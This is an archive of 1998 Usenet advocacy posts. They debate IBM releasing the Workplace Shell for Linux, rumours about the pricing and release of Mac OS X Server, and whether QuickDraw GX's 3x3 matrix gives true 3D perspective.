>Is IBM actually doing anything substantive *right now* for SOHO users?
>
>I can't see this being of any significance to IBM one way or another.
>
>Q1: Are the SOHO users costing IBM very much in actual costs for
>support?
>
>Probable A1: If IBM has not been providing much support, then likely
>not.
>
>Q2: Would there be potential new revenues from SOHO users out of this?
>
>A2: I think not.
>
>Q3: Would it not be easier to simply start charging $50/hour for
>telephone support, and thereby turn what few SOHO users remain into at
>least a bit of a profit centre? (This brings to mind the "Psychic
>Network versus MS Telephone Support" story :-).)
>
>A3: And those few that are left, that need support, and feel that
>pricing outrageous, will likely head elsewhere...
>
>In short, this is neither likely to save IBM $50M, nor is this likely to
>make them $50M.
>
>>B) Provides a solution and/or and also possibly provides them with support
>>contracts for large corporate types who want an "easy" Linux.
>
>If they give away WPS, this allows them to get support contracts worth
>tens of millions of dollars. This doesn't compute.
>
>If they *sell* a "WPS for Linux," this might get them some support
>contracts, as well as some sales. And if they give it away, Red Hat
>includes WPS for Linux with their distribution, and the whole world has
>the opportunity to support it. Which doesn't engender anyone loading up
>trucks full of money and driving to IBM's accounts receivable
>department.
>
>>C) Builds goodwill amongst the Linux and/or FreeBSD community. This is not
>>as ridiculous as it sounds.
>
>It's not ridiculous, but does giving away WPS *really* provide
>substantial value? My suspicion is that it does not, but would only
>result in adding in Yet Another Application Framework to go along with:
>
>- Motif
>- OpenStep/GNUStep
>- Qt
>- GNOME
>- KDE
>- GTK
>- Tk
>- ...
>
>The applications world is unlikely to be revolutionized by adding WPS to
>tag along on this list. WPS offers things that the others don't, but
>the converse is also true. Having WPS doesn't necessarily mean that
>there will be a Linux port of DeScribe, or Lotus Improv, or of any other
>former OS/2 software. (I must confess not being up to date on what OS/2
>software is considered "ground-breaking.")
Indeed since the Describe is a PM, not a WPS application.
--
-------------------------------------
David H. McCoy
dmccoy@forgetaboutit.mnsinc.net
-------------------------------------
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,misc.invest.stocks
Subject: Re: OS/2 and failure
Date: Wed, 02 Dec 1998 23:41:05 GMT
Organization: Airnews.net! at Internet America
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References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <slrn7686ls.9s3.possum@ss5.fred.net> <742b2i$aoj$6@blue.hex.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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On 2 Dec 1998 03:10:10 GMT, cbbrowne@news.hex.net (Christopher Browne)
wrote:
>On Tue, 01 Dec 1998 16:35:09 GMT, Mike Trettel <possum@tree.branch> wrote:
>>On Tue, 01 Dec 1998 05:35:58 -0800, Steven C. Den Beste
><sdenbes1@san.rr.com>
>>wrote:
>>>There's also this: What incentive does IBM have for doing this? Every time
>>>this comes up people come up with all sorts of reasons why *they* wish IBM
>>>would do it, but no-one can come up with a plausible motive for *IBM* to do
>>>this.
>>>
>>>How would releasing the WPS source benefit IBM? How would it increase their
>>>profit? Since your hope is to port it to Linux, all that does is increase
>>>the competitive pressure on OS/2 and cause profits to decline. How is that a
>>>good thing for IBM?
>>>
>>Good questions. A couple of reasons why IBM might do so are:
>>
>>A) Provide an upgrade/escape path for longtime OS/2 users. This plausibly
>>helps IBM by getting the SOHO users off IBM's back.
>
>Is IBM actually doing anything substantive *right now* for SOHO users?
>
>I can't see this being of any significance to IBM one way or another.
>
>Q1: Are the SOHO users costing IBM very much in actual costs for
>support?
>
>Probable A1: If IBM has not been providing much support, then likely
>not.
>
>Q2: Would there be potential new revenues from SOHO users out of this?
>
>A2: I think not.
>
>Q3: Would it not be easier to simply start charging $50/hour for
>telephone support, and thereby turn what few SOHO users remain into at
>least a bit of a profit centre? (This brings to mind the "Psychic
>Network versus MS Telephone Support" story :-).)
>
>A3: And those few that are left, that need support, and feel that
>pricing outrageous, will likely head elsewhere...
>
>In short, this is neither likely to save IBM $50M, nor is this likely to
>make them $50M.
>
>>B) Provides a solution and/or and also possibly provides them with support
>>contracts for large corporate types who want an "easy" Linux.
>
>If they give away WPS, this allows them to get support contracts worth
>tens of millions of dollars. This doesn't compute.
>
>If they *sell* a "WPS for Linux," this might get them some support
>contracts, as well as some sales. And if they give it away, Red Hat
>includes WPS for Linux with their distribution, and the whole world has
>the opportunity to support it. Which doesn't engender anyone loading up
>trucks full of money and driving to IBM's accounts receivable
>department.
Geeze!
It's short sighted views like that by companies that have resulted in
many of us using Windoze desktops instead of Macs! Once Linux had a
nice Windoze-like GUI for newbies to use (I know that WINE, etc
exists) that could instantly be shipped out by someone as big as IBM,
I could see amazingly great and QUICK changes in the entire software
industry.
Never underestimate the power of The Newbie Factor.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 02 Dec 1998 23:48:52 GMT
Organization: Airnews.net! at Internet America
Message-ID: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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http://www.macintouch.com/ says that OSX is going to be out by Jan.
Is that possible? And how possible is it that the GUI might be opened
up a little bit to allow for Linux instead of Mach (sp?) in its
innards?
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3664c899$0$225@nntp1.ba.best.com> <B28A3E25-CE356@206.165.43.154>
In-Reply-To: <B28A3E25-CE356@206.165.43.154>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 02 Dec 1998 23:48:39 GMT
Message-ID: <3665d1d7$0$219@nntp1.ba.best.com>
On 12/01/98, "Lawson English" wrote:
>
>Er, any time you apply 3D operations to ANY graphic, all you are
>getting out is 2D data, unless you are using some bleeding-edge
>holographic graphics system.
Pop Quiz: Take a 3D graphic and apply a 3D transform (rotation,
translation, scaling, etc.) to it. What kind of data is the result?
>The simple fact is that I never said that GX was suitable for "serious
>3D work," but only useful for applying a 3D perspective to editable
>text and graphics.
But it is not *3D* perspective, a point that you can not seem to grasp.
The 3D perspective projection essentially boils down to scaling the X
and Y coordinates of 3D data by the Z distance from the viewer.
The pseudo-perspective that GX provides scales the X and Y coordinates
based on the X and Y coordinates themselves.
>>>You are so hung up on my "true 3D" assertion that you are missing
the
>>>very important point that mathematically, there is no difference
>>>between the 3x3 perspective transform and the higher-order matrix
>>>transforms WHERE THEIR INITIAL CONDITIONS AND CONSTRAINTS OVERLAP.
Okay, so let's back up a step in this thread. What *precisely* are
those initial conditions and constraints?
Your assertion seems to be that you can take any arbitrary 2D shape in
GX and treat it as if it is a 3D object that happens to lie completely
in a single plane that is initially oriented coplanar to the projection
plane. You can use the GX camera library to view this data from any
angle that you wish and GX will happily apply it's perspective
transform to the data, thus simulating the effect of 3D perspective to
the user. And, not suprisingly, this is exactly the API presented to
the programmer using the camera library.
If these assertions are not correct, then please tell me what you
believe to be true, so we can continue further.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 2 Dec 1998 23:57:39 GMT
Organization: Primenet (602)416-7000
Message-ID: <744k5j$8ml$3@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
Sheldon Gartner <a1050pi@yahoo.com> wrote:
: http://www.macintouch.com/ says that OSX is going to be out by Jan.
I went looking on the MacIntouch site, and all I found was this note on
Nov. 30:
"A press release announced WebObjects 4.0 for Windows NT and Unix
platforms today, confirming our Nov. 17 report. Pricing starts at $1,499
and ranges up to $50,000 per server. Mac OS X Server (nie Rhapsody, nie
Nextstep) support is due "in 1999.""
John
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MacOS X Server and Yosemite connection
Date: Wed, 2 Dec 1998 15:53:24 -0800
Organization: Net Squared, Inc.
Message-ID: <744l0m$166$1@your.mother.com>
In yet another attempt to understand Apple's strategy...
Conspiracy theory 451: Apple is withholding MacOS X Server until
Yosemite (code name for Apple's next high-end computer) is ready to
ship.
The idea is based on the fact that Apple tends to make more money by
shipping computer systems than it does by shipping OSes (hence the ugly
situation with cloners). By waiting until Yosemite is ready, Apple
hopes many people waiting for OS X Server will also go ahead and buy the
new computer system (with OS X Server installed) as well.
Conspiracy theory 452 - this one is a stretch: Yosemite will come in
both a PowerPC and an Intel version.
This one is based on a note by Jacquis Lewis and posted at MacOS Rumors.
Merced is Intel's next generation CPU, and we have read reports that
Jobs has been interested in Merced in the past. Merced is also a town
in central California which is known as the "Gateway to Yosemite", and
MacOS X Server will run on both PowerPC and Intel. So just maybe...
http://www.yosemite-gateway.org/
Cheers,
Todd
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MacOS X Server price
Date: Wed, 2 Dec 1998 16:05:18 -0800
Organization: Net Squared, Inc.
Message-ID: <744lne$182$1@your.mother.com>
I think that most of us have been in the dark about Apple's planned
price for MacOS X Server. One theory that has been circulated is that
OSX Server will ship *with* WebObjects.
WebObjects 4 starts at $1,499 (and moves up to $50,000)[1], so if there
is any truth to theory of bundling WebObjects with OS X Server, expect a
high price for OS X Server or *deep* discounts for WebObjects on Apple's
OS.
Todd
[1] http://www.apple.com/pr/library/1998/nov/30webobj4.html
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 2 Dec 1998 16:09:42 -0800
Organization: Net Squared, Inc.
Message-ID: <744lvc$185$1@your.mother.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <744k5j$8ml$3@nnrp02.primenet.com>
John Jensen wrote
>Sheldon Gartner <a1050pi@yahoo.com> wrote:
>: http://www.macintouch.com/ says that OSX is going to be out by Jan.
>
>I went looking on the MacIntouch site, and all I found was this note on
>Nov. 30:
>
>"A press release announced WebObjects 4.0 for Windows NT and Unix
>platforms today, confirming our Nov. 17 report. Pricing starts at
$1,499
>and ranges up to $50,000 per server. Mac OS X Server (nie Rhapsody, nie
>Nextstep) support is due "in 1999.""
Look a little higher up. It is in the last sentence in the parapgraph
which begins with "Rumors are flying about Apple's unannounced January
Power Macs, and we have some interesting ones from MacInTouch sources."
Todd
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <744k5j$8ml$3@nnrp02.primenet.com>
Message-ID: <3665dc8d.0@news.depaul.edu>
Date: 3 Dec 98 00:34:21 GMT
In comp.sys.next.advocacy John Jensen <jjens@primenet.com> wrote:
> Sheldon Gartner <a1050pi@yahoo.com> wrote:
> : http://www.macintouch.com/ says that OSX is going to be out by Jan.
> I went looking on the MacIntouch site, and all I found was this note on
> Nov. 30:
> "A press release announced WebObjects 4.0 for Windows NT and Unix
> platforms today, confirming our Nov. 17 report. Pricing starts at $1,499
> and ranges up to $50,000 per server. Mac OS X Server (nie Rhapsody, nie
> Nextstep) support is due "in 1999.""
Look again, it is there, at the end of a paragraph that starts by
talking about the new PowerMacs due in January.
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server price
Date: Wed, 02 Dec 1998 20:37:18 -0500
Organization: Styx DTP
Sender: monner@dial04p23.ottawa.storm.ca
Message-ID: <3665EB4A.B197CA2@tone.ca>
References: <744lne$182$1@your.mother.com>
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There were a lot of estimates flying around a few days ago. Anywhere from
$299 to $999.
My own guess is that they will price it high enough to discourage
unsophisticated Mac users who might expect the usual Mac user interface. On
the other hand I expect it to be bundled with WebObjects, to encourage WO
development on Apple hardware.
Michael
"Todd Heberlein (todd at NetSQ dot com)" wrote:
> I think that most of us have been in the dark about Apple's planned
> price for MacOS X Server. One theory that has been circulated is that
> OSX Server will ship *with* WebObjects.
>
> WebObjects 4 starts at $1,499 (and moves up to $50,000)[1], so if there
> is any truth to theory of bundling WebObjects with OS X Server, expect a
> high price for OS X Server or *deep* discounts for WebObjects on Apple's
> OS.
>
> Todd
>
> [1] http://www.apple.com/pr/library/1998/nov/30webobj4.html
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 3 Dec 1998 01:37:50 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <744q1e$f8c$1@cronkite.cs.umd.edu>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F3CJAJ.98F@T-FCN.Net>
NNTP-Posting-Date: 3 Dec 1998 01:37:50 GMT
Maury Markowitz (maury@remove_this.istar.ca) wrote:
> In <7424rd$g1k$1@cronkite.cs.umd.edu> Sean Luke wrote:
> > > > You always seem to put down all the things that were great about NeXT.
> > > Facinating. Can you name five examples?
> > Sure, I can name a baker's dozen.
> You post goes onto describe a number of things I've never written on. I
> can only conclude that you're either using this as a general soapbox, or
> you're replying to the wrong person.
Apparently Maury missed the last line in my previous posting, so I'll
append it to the end of this one too. Okay, Maury?
Sean Luke
seanl@cs.umd.edu
:-) <-- For the smiley-impaired (this means you, Maury)
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 3 Dec 1998 02:04:24 GMT
Organization: Primenet (602)416-7000
Message-ID: <744rj8$b1f$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <744k5j$8ml$3@nnrp02.primenet.com> <744lvc$185$1@your.mother.com>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
: John Jensen wrote
: >I went looking on the MacIntouch site, and all I found was this note on
: >Nov. 30: [...]
: Look a little higher up. It is in the last sentence in the parapgraph
: which begins with "Rumors are flying about Apple's unannounced January
: Power Macs, and we have some interesting ones from MacInTouch sources."
Found it, thanks.
John
From: djb@scream.org (Dan Birchall)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 3 Dec 1998 02:40:57 GMT
Organization: Emanon Service Corp - +1 609 858 9888
Message-ID: <slrn76btrd.20o.djb@versa.scream.org>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net>
On Wed, 02 Dec 1998, Joe Rice <jlrice@columbus.crosswinds.net> wrote:
>Dell will preinstall linux for a price.
Don't you have to be buying large quantities?
VA Research sells NEC Versas (the new LX/SX ones) with Linux
preloaded, I believe, but I don't think they're cheap.
-Dan
--
Dan Birchall, Moorestown NJ. Linux, NEC Versa 2000C, Cannondale.
Fan of Maisha - http://www.scream.org/maisha/ - updated 10/20/98!
"Make sure wheel is correctly attached to bicycle before riding!"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 3 Dec 1998 04:22:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7453m0$mel@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <742dlu$r5f@news1.panix.com> <3665A704.5A26FEBA@tone.ca>
On Wed, 02 Dec 1998 15:46:00 -0500, Michael <michael@tone.ca> wrote:
>> Well, I'll be at the WO4 Demo on the 17th in NYC. If it looks well enough,
>> I just might sign up for WO classes and start fishing for contract work.
>I just got back from the WO4 demo in Montreal.
Did they do the demo on x86 or Mac hardware?
> I think you will be pleased.
Are the new Java tools any good? I heard a rumor that you can now use IB+PB
to build 100% pure Java Apps with Swing widgets and JavaBeans for the GUI
without any YB code at all. Did you see anything to confirm or squash this
rumor?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 3 Dec 1998 04:22:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7453lv$mel@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
On Wed, 02 Dec 1998 23:48:52 GMT,
Sheldon Gartner <a1050pi@yahoo.com> wrote:
>And how possible is it that the GUI might be opened
>up a little bit to allow for Linux instead of Mach (sp?) in its
>innards?
If your concern is that you might not be able to run OpenSourced software
on OSX; I can assure you that isn't the case. OSX is based on BSD 4.4 (The
same source that FreeBSD, OpenBSD and NetBSD come from) and you should not
have much trouble getting anything (with the exception of X Apps) to run
on OSX. FWIW, Apple appears to be actively participating in the various
*BSD* groups and has made its modifications to the standard GNU & BSD utils
available on its website.
If you want to (or need to) run X Apps, there is at least one X11 for OSX
Project going on. I haven't checked up on the progress at all, so I don't
know what the status is.
If you want to run _linux_ for whatever reason (moral objection to non-gpl
apps, a desire to build your own kernel, fondness for penguins) you might
want to check out GNUStep. They are starting to show some real progress
and they have the screenshots to prove it.
If you want to start a BSD vs Linux flamewar, you might be able to save
a lot of time by simply going to DejaNews and finding any of the dozens
of BSD vs Linux flamewars and replace my name for the name of the BSD
advocate and yours for the name of the Linux advocate. If more people did
this, usenet would be a better place. :)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Wed, 02 Dec 1998 21:49:44 -0800
Content-Transfer-Encoding: 7bit
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com>
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Mime-Version: 1.0
Message-ID: <3666263B.5551@earthlink.net>
All I was saying is that whenever I read your posts Maury, you never
seem to like anything about the NeXT UI so I wondered why you post
here. I have not read EVERY post you have ever made, but the ones I
have read always seem to rip on the NeXT UI. I may have been wrong.
Maybe you have made posts about the things you do like.
mmalc. wrote:
> Oooh, I don't think that's really fair. I know Maury didn't like the
> interface, but he certainly liked the technology enough to go and work for an
> ex-NeXT-now-McOX company. He's been one of the most interesting (from a
> biased perspective! :-) examples of an ex-Mac chap who's "seen the light" --
> he's grok-ed the comcepts rather better than many long-time NeXT-users, and
> made a valuable contribution to this ng.
I don't think it's perfect either, but I liked it a whole lot better
than the Mac OS. IMHO it looked great, it felt very comfortable, and
seemed to make sense the way it was layed out. The "Color Wheel" is a
million times better than the Mac one. I also agree with Sean's post
about all the lame things about NeXT as well. I like the Mac OS and
continue to use it, I just like NeXT better. I'm really looking foward
to seeing the new OS. I just wish the "consumer" version was out
already!
I'll try and look for some of the pro-NeXT aspects of your posts from
now on.
Steve
From: "Lloyd Dupont" <lloydd@club-internet.fr>
Newsgroups: comp.sys.next.advocacy
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Message-ID: <72ij0o$cqc$1@front2.grolier.fr>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl> <F1x2zp.Hup@T-FCN.Net> <1di9200.acou6p2gct0nN@ascend-tk-p87.rhrz.uni-bonn.de>
Date: Wed, 25 Nov 1998 15:45:14 GMT
NNTP-Posting-Date: Thu, 26 Nov 1998 00:45:14 JST
Organization: Global Online Japan
but i wonder ? where can you get Mac OS X ? or yellow box ?
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <f6r92.2428$CY1.9646758@news.itd.umich.edu>
Date: Thu, 3 Dec 1998 02:27:05 -0500
NNTP-Posting-Date: Thu, 03 Dec 1998 02:30:19 EDT
Sheldon Gartner wrote in message
<6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.ne
t>...
>http://www.macintouch.com/ says that OSX is going to be out by Jan.
>
>Is that possible? And how possible is it that the GUI might be opened
>up a little bit to allow for Linux instead of Mach (sp?) in its
>innards?
I don't understand why people want Apple to replace Mach with Linux. Linux
being a monolith kernel OS, it has functionalities that goes into those
offered via BSD/YB/Carbon. If you really want Linux API as option on OS X,
then I think the best way is to put Linux on top of Mach as MkLinux has
done. I know someone will complain about performance hit, but I think
that's a better solution. Heck, they just have to grab worked done for
MkLinux and strap it on OS X. May require a little twicking, but that'd be
heck of a lot easier than porting BSD/YB/Carbon on to Linux kernel. I
wouldn't doubt it if MkLinux folks ship Linux API as an additional component
of OS X, residing besides the other three API sets. If MkLinux folks don't
do it soon, I'm sure someone else would. I'm thinking it'd be a good
project for myself!
- Jin
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 00:39:01 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28B8E46-E60BB@206.165.43.131>
References: <3665d1d7$0$219@nntp1.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>On 12/01/98, "Lawson English" wrote:
>>
>>Er, any time you apply 3D operations to ANY graphic, all you are
>>getting out is 2D data, unless you are using some bleeding-edge
>>holographic graphics system.
>
>Pop Quiz: Take a 3D graphic and apply a 3D transform (rotation,
>translation, scaling, etc.) to it. What kind of data is the result?
>
3D. Now project it on a computer screen. What kind of data is the result?
Remember, no graphics operation is useful until it is displayed and by then
it is merely a 2D projection.
>>The simple fact is that I never said that GX was suitable for "serious
>>3D work," but only useful for applying a 3D perspective to editable
>>text and graphics.
>
>But it is not *3D* perspective, a point that you can not seem to grasp.
>
So, it is a 2D perspective? You have an interesting definition of
"perspective." Mathematically, what is the difference between applying the
3x3 transform and a higher-order transform, given the GX initial conditions
and constraints?
>The 3D perspective projection essentially boils down to scaling the X
>and Y coordinates of 3D data by the Z distance from the viewer.
>
>The pseudo-perspective that GX provides scales the X and Y coordinates
>based on the X and Y coordinates themselves.
>
And the info provided by the u and v elements of the GX 3x3 matrix, which
correspond to a rotation about the x and/or y axis, combined with an
element, 'w', which is essentially a distance element.
remember that the divisor in the GX matrix is (a13X + a23Y + a33), which is
"equivalent to a projection using rays passing through the origin." Did
Wohlberg mean "approximates" instead?
>>>>You are so hung up on my "true 3D" assertion that you are missing
>the
>>>>very important point that mathematically, there is no difference
>>>>between the 3x3 perspective transform and the higher-order matrix
>>>>transforms WHERE THEIR INITIAL CONDITIONS AND CONSTRAINTS
>OVERLAP.
>
>Okay, so let's back up a step in this thread. What *precisely* are
>those initial conditions and constraints?
>
>Your assertion seems to be that you can take any arbitrary 2D shape in
>GX and treat it as if it is a 3D object that happens to lie completely
>in a single plane that is initially oriented coplanar to the projection
>plane. You can use the GX camera library to view this data from any
>angle that you wish and GX will happily apply it's perspective
>transform to the data, thus simulating the effect of 3D perspective to
>the user. And, not suprisingly, this is exactly the API presented to
>the programmer using the camera library.
>
>If these assertions are not correct, then please tell me what you
>believe to be true, so we can continue further.
>
Sounds reasonable, except that I haven't said a thing about the camera
library. And, from the end-user's perspective [pun sorta intended], what is
the difference between "simulating a 3D perspective" and actually having
one?
Within the constraints of the 3x3 matrix of GX (not the cameralibrary -I
have no idea how accurate this would be), what is the difference *in
appearance* between taking a GX object and applying the 3x3 matrix to
obtain a rotation about the x and/or y axis in the z direction, and the
appearance obtained by applying a higher-order matrix and projecting onto
the screen?
Remember: we are only applying the transform once.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 00:43:43 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28B8F42-E9BE2@206.165.43.131>
References: <us53e6ytoa6.fsf@kit.ai.mit.edu>
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nntp://news.primenet.com/comp.sys.next.advocacy,
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Stephen Peters <portnoy@ai.mit.edu> said:
>"Lawson English" <english@primenet.com> writes:
>
>> [added csmp.misc back in]
>>
>> When one talks about a perspective projection onto a viewing plane, this
>is
>> a 3D operation, by definition.
>
>I agree, if we're actually talking about perspective projections,
>which are projections of 3D data onto a 2D surface. You, however, are
>talking about non-affine transformations of 2D data, which is a
>different beast. Even the quote you gave from Digital Image Warping
>is careful to call this a transformation, not a projection.
>
Er, either Wohlberg was careless in his wording, or you were careless in
your reading.
As I quoted before:
"A _perspective transformation_, or *_projective mapping_* [emphasis mine
-he just puts both terms in italic], is produced when [a13 a23]T is
nonzero. It is used in conjuction with a *projection* [emphsis mine] onto a
viewing plane in what is known as a _perspective_ or *_central
projection_*." p 52
>> Perspective is NOT a 2D graphics operation, but a 3D one, even if it
>> is only operating on a 2D object.
>
>I disagree, but I'll go into it in more detail in a little while.
>
>> You are so hung up on my "true 3D" assertion that you are missing the
very
>> important point that mathematically, there is no difference between the
>3x3
>> perspective transform and the higher-order matrix transforms WHERE
>THEIR
>> INITIAL CONDITIONS AND CONSTRAINTS OVERLAP.
>
>Isn't that a little bit like saying that the 3x3 transform is
>equivalent to affine transformations, as long as three of the matrix
>elements are fixed?
In fact, that is exactly what Wohlberg says:
"Note that affine transformations are a special case of perspective
transformations where w' is constant over the entire image, i.e., a13 = a23
= 0." p 52
The fact is simply that a true 3D transform gives
>you so much more capability that it makes as much sense to call the
>DPS transformations "full 3x3" as it does to call perspective
>transforms "true 3D".
>
Except that there is no difference between the perspective transform of a
4x4 matrix and a 3x3 matrix when the conditions are the same in both: a
planar object perpendicular to the viewplane that is then rotated away from
the camera.
>> If you need to again increment the slope of the 2D object away from
>> the camera after applying the 3x3 perspective transform, you must
>> refer back to the original orientation of the object and work from
>> there, rather than from the resultant orientation,
>
>This, by the way, is exactly why the 3x3 transform is not
>mathematically equivalent to the higher-order matrix transformation.
>Don't confuse the weighting parameter that you'd get from the straight
>matrix multiplication with a distance; it's not the same thing, and
>that's probably one of the reasons that GX is discarding it in the
>first place.
Er, how is the "w" of the 3x3 matrix in GX different than the "a33" element
of Wohlberg's perspective transform and how is this different (within the
aforementioned constraints of GX) from the higher-order matrices?
The GX manual suggests that one leave it at "1" for maximum speed, but the
transformation algorithm that GX uses will make use of non-unity values of
the "w" element, which makes it identical to the 3x3 perspective transform.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 1998 09:32:19 GMT
Organization: Semplice Software
Message-ID: <hugh-0312980331260001@181.minneapolis-01.mn.dial-access.att.net>
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131>
